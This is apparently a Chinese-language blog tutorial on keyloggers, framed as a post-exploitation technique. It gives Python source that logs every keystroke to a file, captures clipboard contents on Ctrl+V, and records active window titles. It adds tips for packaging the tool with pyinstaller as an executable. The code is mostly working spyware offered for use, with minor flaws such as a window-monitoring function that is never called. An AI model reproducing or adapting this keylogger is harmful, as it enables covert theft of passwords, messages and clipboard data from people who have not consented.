解析键盘记录工具的原理与实际编码步骤

0x01: 键盘记录简介

键盘记录通常是后渗透操作中的一种常见手段,用于扩大渗透成果。一些C2工具集成了键盘记录功能,同时在GitHub上也有一些独立的工具,它们的开发语言、大小和实用性各不相同。

0x02: 键盘记录工作原理

键盘记录工具通过设置钩子来捕获键盘输入,其工作流程如下:

  1. 创建进程。
  2. 调用Windows API。
  3. 利用API钩子获取按键输入。
  4. 将获取的数据保存。

Python实现该功能需要以下模块:

  • pywin32
  • threading
  • pynput
  • ctypes
  • os

0x03: 主要代码示例

以下是关键代码示例:

python复制
from pynput import keyboard
import win32clipboard
from ctypes import *

def keyboard_on_release(key):
    with open('key_log.txt', 'a') as log_file:
        log_file.write(str(key) + '\n')

        if '\\x16' in str(key):
            win32clipboard.OpenClipboard()
            data = win32clipboard.GetClipboardData()
            win32clipboard.CloseClipboard()
            log_file.write('[Ctrl+V]: {' + data + '}\n')

def get_window_name():
    user32 = windll.user32
    kernel32 = windll.kernel32
    hwnd = user32.GetForegroundWindow()
    window_title = create_string_buffer(512)
    user32.GetWindowTextA(hwnd, byref(window_title), 512)
    value = window_title.value
    kernel32.CloseHandle(hwnd)
    return value.decode('gbk')

window_name_value = ['no']

def monitor_window():
    value = get_window_name()
    with open('key_log.txt', 'a') as log_file:
        if value != window_name_value[0]:
            window_name_value[0] = value
            log_file.write('[Window+name]: ' + str(value) + '\n')

with keyboard.Listener(on_release=keyboard_on_release) as listener:
    listener.join()

0x04: 问题解决

  1. 关于win32clipboard模块的安装问题: 在Python 2中,win32模块包含了win32clipboard。在Python 3中,使用pywin32模块。

  2. 使用pyinstaller打包后的问题: 如果在PyCharm中可以运行,但在使用pyinstaller打包后却找不到win32clipboard,建议确保在PyCharm中安装了pyinstaller模块,而不是依赖于环境中的pyinstaller。

 

© 版权声明
THE END
喜欢就支持一下吧
点赞13 分享
评论 抢沙发

请登录后发表评论

    暂无评论内容